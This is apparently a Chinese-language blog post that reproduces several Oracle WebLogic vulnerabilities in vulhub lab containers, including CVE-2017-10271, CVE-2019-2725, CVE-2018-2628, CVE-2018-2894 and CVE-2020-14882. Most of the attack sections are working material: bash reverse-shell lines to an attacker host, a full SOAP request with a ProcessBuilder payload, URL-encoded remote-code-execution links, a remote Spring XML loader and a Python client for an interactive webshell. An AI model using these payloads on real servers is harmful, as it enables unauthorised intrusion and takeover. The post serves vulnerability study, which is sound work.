<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    最全的Weblogic漏洞復現筆記

    VSole2022-02-01 07:08:53

    簡介

    WebLogic是美國Oracle公司出品的一個application server,確切的說是一個基于JAVAEE架構的中間件,WebLogic是用于開發、集成、部署和管理大型分布式Web應用、網絡應用和數據庫應用的Java應用服務器。將Java的動態功能和Java Enterprise標準的安全性引入大型網絡應用的開發、集成、部署和管理之中。

    WebLogic是美商Oracle的主要產品之一,是并購BEA得來。是商業市場上主要的Java(J2EE)應用服務器軟件(application server)之一,是世界上第一個成功商業化的J2EE應用服務器, 已推出到12c(12.2.1.4) 版。而此產品也延伸出WebLogic Portal,WebLogic Integration等企業用的中間件(但當下Oracle主要以Fusion Middleware融合中間件來取代這些WebLogic Server之外的企業包),以及OEPE(Oracle Enterprise Pack for Eclipse)開發工具。

    本文將對一些常見的weblogic漏洞進行漏洞分析及復現,漏洞環境基于vulhub搭建。

    弱口令

    漏洞原理

    在weblogic搭建好之后沒有修改進入后臺的密碼導致弱口令登錄獲得webshell

    漏洞復現

    進入weak_password的docker環境

    訪問一下7001端口,這里出現404是正常的

    訪問http://192.168.1.10:7001/console如下圖所示

    這里注意一下不能使用bp抓包去爆破,錯誤密碼5次之后就會自動鎖定,這里使用weblogic/Oracle@123登陸后臺

    登錄后臺后點擊部署

    點擊安裝

    點擊上傳文件

    這里需要準備一個war包,這個war包里面存放的就是一個jsp的馬,使用如下命令打包當前文件夾下的所有文件

    jar -cvf aaa.war .
    

    然后上傳aaa.war點擊下一步

    一直Next即可

    到這里點擊完成

    可以看到這里aaa.war已經部署成功

    直接上冰蝎連接即可,這里aaa是我的war名,shell.jsp是打包在war里面的文件

    CVE-2017-3506

    XMLDecoder反序列化漏洞(CVE-2017-3506)


    漏洞原理

    在/wls-wsat/CoordinatorPortType(POST)處構造SOAP(XML)格式的請求,在解析的過程中導致XMLDecoder反序列化漏洞

    分析漏洞調用鏈

    weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest

    weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld

    weblogic.wsee.workarea.WorkContextXmlInputAdapter

    先看一下weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法

    第43行,將localHeader1變量帶入到readHeaderOld()方法中。localHeader1變量由第41行定義,其值為work:WorkContext 標簽包裹的數據。

    xmlns:work="http://bea.com/2004/06/soap/workarea/">
    
    ...
    
    
    

    跟進readHeaderOld()方法(weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld)

    在106行,有一句new WorkContextXmlInputAdapter(new ByteArrayInputStream(localByteArrayOutputStream.toByteArray())),創建了WorkContextXmlInputAdapter()對象(即對WorkContextXmlInputAdapter類進行了實例化),帶入構造函數的參數即為傳入的XML格式序列化數據。

    跟進至WorkContextXmlInputAdapter類中(weblogic.wsee.workarea.WorkContextXmlInputAdapter )

    第19行,此處通過XMLDecoder反序列化,輸入內容可控,故漏洞產生。

    漏洞復現

    這里使用的weak_password環境weblogic的版本為10.3.6,也存在這個漏洞,所以繼續使用這個docker

    訪問以下目錄中的一種,有回顯如下圖可以判斷wls-wsat組件存在

    /wls-wsat/CoordinatorPortType
    /wls-wsat/RegistrationPortTypeRPC
    /wls-wsat/ParticipantPortType
    /wls-wsat/RegistrationRequesterPortType
    /wls-wsat/CoordinatorPortType11
    /wls-wsat/RegistrationPortTypeRPC11
    /wls-wsat/ParticipantPortType11
    /wls-wsat/RegistrationRequesterPortType11
    

    在當前頁面抓包之后在標簽之間分別寫存放jsp的路徑和要寫入的shell

    然后直接冰蝎連接即可

    CVE-2017-10271

    XMLDecoder反序列化漏洞(CVE-2017-10271)


    漏洞原理

    在CVE-2017-3506之前,不對payload進行驗證,使用object tag可以RCE,CVE-2017-3506的補丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法,在解析xml時,Element字段出現object tag就拋出運行時異常,不過這次防護力度不夠,導致了CVE-2017-10271,利用方式類似,使用了void tag進行RCE,于是CVE-2017-10271的補丁將object、new、method關鍵字加入黑名單,針對void和array這兩個元素是有選擇性的拋異常,其中當解析到void元素后,還會進一步解析該元素中的屬性名,若沒有匹配上index關鍵字才會拋出異常。而針對array元素而言,在解析到該元素屬性名匹配class關鍵字的前提下,還會解析該屬性值,若沒有匹配上byte關鍵字,才會拋出運行時異常。總之,這次的補丁基本上限定了不能生成java實例。

    漏洞復現

    進入CVE-2017-10271對應的docker環境

    訪問http://192.168.1.10:7001/wls-wsat/CoordinatorPortType如下圖所示則存在漏洞

    bp在當前頁面抓包后使用bash命令反彈shell,nc開啟端口即可

    /bin/bash
    -c
    bash -i >& /dev/tcp/192.168.1.2/55550>&1
    

    CVE-2019-2725

    wls-wsat反序列化漏洞(CVE-2019-2725)。攻擊者可以發送精心構造的惡意HTTP請求,在未授權的情況下遠程執行命令。


    漏洞原理

    漏洞觸發點:bea_wls9_async_response.war、wsat.war

    影響版本:Oracle WebLogic Server 10.* 、Oracle WebLogic Server 12.1.3

    通過CVE-2019-2725補丁分析發現,較上一個漏洞CVE-2017-10271補丁而言,官方新增了對class元素的過濾,并且array元素的length屬性轉換為整形后不得大于10000:

    本次漏洞利用某個元素成功替換了補丁所限制的元素,再次繞過了補丁黑名單策略,最終造成遠程命令執行。

    漏洞復現

    訪問以下目錄中的一種,如下圖所示則漏洞

    /_async/AsyncResponseService
    /_async/AsyncResponseServiceJms
    /_async/AsyncResponseServiceHttps
    /_async/AsyncResponseServiceSoap12
    /_async/AsyncResponseServiceSoap12Jms
    /_async/AsyncResponseServiceSoap12Https
    

    bp在當前頁面抓包,使用bash命令反彈shell,nc開啟端口監聽即可

    GET /_async/AsyncResponseService HTTP/1.1
    Host: 192.168.1.10:7001
    User-Agent: Mozilla/5.0(Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101Firefox/89.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Connection: close
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0
    Content-Length: 782
    Accept-Encoding: gzip, deflate
    SOAPAction:
    Accept: */*
    User-Agent: Apache-HttpClient/4.1.1(java 1.5)
    Connection: keep-alive
    content-type: text/xml
    
    xmlns:asy="http://www.bea.com/async/AsyncResponseService">
    
    xx
    xx
    xmlns:work="http://bea.com/2004/06/soap/workarea/">
    class="java.lang.ProcessBuilder">
    class="java.lang.String"length="3">
    index="0">
    /bin/bash
    
    index="1">
    -c
    
    index="2">
    bash -i >& /dev/tcp/192.168.1.2/5555 0>&1
    
    
    method="start"/>
    
    
    
    
    

    CVE-2018-2628

    WebLogic T3協議反序列化命令執行漏洞(CVE-2018-2628)。Oracle WebLogic Server的T3通訊協議的實現中存在反序列化漏洞。遠程攻擊者通過T3協議在Weblogic Server中執行反序列化操作,利用RMI(遠程方法調用) 機制的缺陷,通過 JRMP 協議(Java遠程方法協議)達到執行任意反序列化代碼,進而造成遠程代碼執行

    同為WebLogic T3引起的反序列化漏洞還有CVE-2015-4852、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2018-2893、CVE-2016-0638


    漏洞原理

    在InboundMsgAbbrev中resolveProxyClass中,resolveProxyClass是處理rmi接口類型的,只判斷了java.rmi.registry.Registry,這就會導致任意一個rmi接口都可繞過。核心部分就是JRMP(Java Remote Method protocol),在這個PoC中會序列化一個RemoteObjectInvocationHandler,它會利用UnicastRef建立到遠端的tcp連接獲取RMI registry,加載回來再利用readObject解析,從而造成反序列化遠程代碼執行。


    漏洞復現

    進入CVE-2018-2628的docker環境

    這里先使用nmap掃描一下是否開啟了WebLogic T3服務

    nmap -n -v -p 7001,7002192.168.1.10--script=weblogic-t3-info
    

    這里使用K8Weblogic.exe直接寫一個shell進去

    然后使用以下py獲取一個交互型shell

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    print r'''
    https://github.com/jas502n/CVE-2018-2628
    @authorJas502n
    '''
    import base64
    import urllib
    import requests
    from urllib import*
    def shell(url,cmd):
        all_url = url + "?tom="+ base64.b64encode(cmd)
    try:
            result = requests.get(all_url)
    if result.status_code == 200:
    print result.content
    except requests.ConnectionError,e:
    print e
    th = {"url":""}
    whileTrue:
    if th.get("url") != "":
            input_cmd = raw_input("cmd >>: ")
    if input_cmd == "exit":
    exit()
    elif input_cmd == 'set':
                url = raw_input("set shell :")
                th['url'] = url
    elif input_cmd == 'show url':
    print th.get("url")
    else:
                shell(th.get("url"),input_cmd)
    else:
            url = raw_input("set shell :")
            th["url"] = url
    

    url這個位置就填之前exe上傳shell的位置即可,拿到交互shell之后可以echo寫一個冰蝎馬或者powershell上線cs都可

    CVE-2018-2894

    WebLogic 未授權訪問漏洞(CVE-2018-2894),存在兩個未授權的頁面,可以上傳任意文件,但是這兩個頁面只在開發環境下存在

    漏洞原理

    在ws-testpage-impl.jar/com.oracle.webservices.testclient.ws.res.WebserviceResource 類中存在importWsTestConfig方法

    跟進 RSdataHelper的convertFormDataMultiPart方法,接下來調用convertFormDataMultiPart方法,文件直接由字段 文件名拼接而成,沒有任何限制。

    ws-testpage-impl.jar!/com/oracle/webservices/testclient/ws/util/RSDataHelper.class:164


    漏洞復現

    進入CVE-2018-2894的docker環境

    這里我們首先打開docker的開發環境。這里因為不是弱口令的docker,所以這里我們執行命令看一下進入后臺的密碼

    docker-compose logs | grep password
    

    使用得到的密碼登入后臺

    點擊高級選項

    勾選啟用web服務測試頁

    保存即可進入開發環境

    開發環境下的測試頁有兩個,分別為config.dobegin.do

    首先進入config.do文件進行設置,將目錄設置為ws_utc應用的靜態文件css目錄,訪問這個目錄是無需權限的,這一點很重要。

    /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
    

    點擊添加后上傳一個jsp

    提交之后點擊F12審查元素得到jsp上傳后的時間戳

    構造得到http://192.168.1.10:7001/ws_utc/css/config/keystore/1626765378314_shell.jsp,連接即可

    這里我們在對begin.do未授權訪問進行利用。訪問http://192.168.1.10:7001/ws_utc/begin.do,上傳一個jsp

    點擊提交,這里輝顯示一個error不用管它,F12進入網絡,然后篩選POST方法,得到一個jsp的路徑

    構造得到http://192.168.1.10:7001/ws_utc/css/upload/RS_Upload_2021-07-20_07-21-28_111/import_file_name_shell.jsp,冰蝎連接即可

    CVE-2020-14882

    漏洞原理

    這個洞的利用過程十分精妙,說實話有點沒太跟明白,這里就不詳細寫了,大致就是通過訪問console.portal路徑并且觸發handle執行。有興趣的小伙伴請移步:

    https://cert.#/report/detail?id=a95c049c576af8d0e56ae14fad6813f4


    漏洞復現

    首先進入CVE-2020-14882的docker環境

    訪問控制臺如圖所示

    這里直接可以構造

    http://192.168.1.10:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

    訪問即可進入后臺,達到未授權訪問的效果

    但是這里沒有部署安裝的按鈕,也就是說不能像常規進入后臺后寫shell進去,這里就需要用到遠程加載XML文件拿shell

    首先測試以下漏洞代碼執行是否成功,在/tmp/下創建一個test文件夾

    訪問http://192.168.1.10:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/test%27);%22);

    得到如下界面,這里看起來沒有利用成功

    我們進入docker查看發現文件夾已經創建成功了

    docker ps
    sudodocker exec-it b6a1b6c3e4d1 /bin/bash
    

    這里創建一個xml文件,還是使用bash命令得到反彈shell

    # reverse-bash.xml
    xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    id="pb"class="java.lang.ProcessBuilder"init-method="start">
    
    
    /bin/bash
    -c
    & /dev/tcp/192.168.1.2/5555 0>&1]]>
    
    
    
    
    

    nc開啟監聽端口,訪問

    http://192.168.1.10:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://192.168.1.2:8000/test.xml")

    即可得到反彈shell

    總結

    weblogic的漏洞其實有很多,這里只是挑了一些比較常見的漏洞進行漏洞分析和復現,其實也有批量檢測漏洞的軟件,這里為了加深印象還是手動復現了一遍,這里漏洞分析這一塊當然也是跟著大佬們的思路跟下去,這里對前輩們表示衷心的感謝,不足之處歡迎指出。

    urlweblogic
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    都不認識的話默認情況下是plain/text處理。答案是認識的后綴名們都被記錄到一個叫mime.types的文件中了。這里要說的是有些情況下的mime.types沒有提供對php的解析方法,對php的解析規則放在另一個文件,Windows下在/conf/extra/httpd-php.conf。
    通過common-collection相關gadget,想辦法調用org.mozilla.classfile.DefiningClassLoader這個類去加載字節碼。然后通過T3協議的反序列化漏洞發送給待攻擊weblogic服務器。
    WebLogic是由美國Oracle公司出品的一application server,準確的說就是一個基于JAVAEE而開發的一個中間件,類似Tomcat,WebLogic是一個用于開發,集成,部署與管理大型分布式Web應用,網絡應用和數據庫的java應用服務器。將java動態功能與java Enterprise標準的安全性引入大型網絡應用的開發,集成,部署與管理之中。
    WebLogic是美國Oracle公司出品的一個application server,確切的說是一個基于JAVAEE架構的中間件,WebLogic是用于開發、集成、部署和管理大型分布式Web應用、網絡應用和數據庫應用的Java應用服務器。將Java的動態功能和Java Enterprise標準的安全性引入大型網絡應用的開發、集成、部署和管理之中。
    簡介WebLogic是美國Oracle公司出品的一個application server,確切的說是一個基于JAVAEE架構的中間件,WebLogic是用于開發、集成、部署和管理大型分布式Web應用、網絡應用和數據庫應用的Java應用服務器。
    Weblogic是美國Oracle公司出品的一個應用服務器(application server),確切的說是一個基于Java EE架構的中間件,是用于開發、集成、部署和管理大型分布式Web應用、網絡應用和 數據庫應用的Java應用服務器。 Weblogic將Java的動態功能和Java Enterprise標準的安全性引入大型網絡應用的開發、集成、部署和管理之中,是商業市場上主要的Java(J
    WebLogic是美國Oracle公司出品的一個application server,確切的說是一個基于JAVAEE架構的中間件,WebLogic是用于開發、集成、部署和管理大型分布式Web應用、網絡應用和數據庫應用的Java應用服務器。將Java的動態功能和Java Enterprise標準的安全性引入大型網絡應用的開發、集成、部署和管理之中。
    4月17日,國家信息安全漏洞共享平臺(CNVD)公開了Weblogic反序列化遠程代碼執行漏洞(CNVD-C-2019-48814/CVE-2019-2725),由于在反序列化處理輸入信息的過程中存在缺陷,未經授權的攻擊者可以發送精心構造的惡意 HTTP 請求,利用該漏洞可獲取服務器權限,實現遠程代碼執行。官方緊急補丁(CVE-2019-2725)已于4月26日發布。 近日,有消息稱CVE-201
    后續經過掃描探測發現T3、IIOP協議同時關閉了,僅限HTTP訪問。需要用戶名密碼,打補丁后,可以判斷用戶名密碼是否存在,但是無法上傳文件成功。
    近日,國家信息安全漏洞庫(CNNVD)收到Oracle WebLogic wls9-async反序列化遠程命令執行漏洞(CNNVD-201904-961)情況的報送。攻擊者可利用該漏洞在未授權的情況下發送攻擊數據,實現遠程代碼執行。WebLogic 10.X、WebLogic 12.1.3等版本均受漏洞影響。目前, Oracle官方未發布漏洞補丁,但可以通過臨時解決措施緩解漏洞造成的危害,建議用戶
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类